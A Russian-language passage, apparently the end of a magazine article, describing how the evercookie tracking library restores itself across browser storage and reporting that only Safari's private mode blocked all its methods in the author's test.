удали данные везде, где наследила evercookie! Ведь если оставишь куки в одном
месте - скрипт автоматически восстановит значение и во всех остальных
хранилищах. По сути, эта библиотека является хорошей проверкой режима
приватности, который сейчас есть практически у всех браузеров. И вот что я тебе
скажу: из Google Chrome, Opera, Internet Explorer и Safari только последний в
режиме "Private Browsing" полностью блокировал все методы, используемые
evercookie. То есть после закрытия и открытия браузера скрипт не смог
восстановить оставленное им значение. Есть повод задуматься. Тем более что в
ближайшее время разработчик evercookie обещал добавить в библиотеку еще
несколько техник хранения данных, в том числе с помощью технологии Isolated
Storage в Silverlight, а также Java-апплета.

Включайся в дискуссию
Читайте также
Самые вкусные рецепты блюд из манго: салаты с креветками, пюре, смузи, варенье Простые рецепты с манго
Нас манят разные дороги… О путешествиях в цитатах и афоризмах
Что в действительности дают путешествия человеку?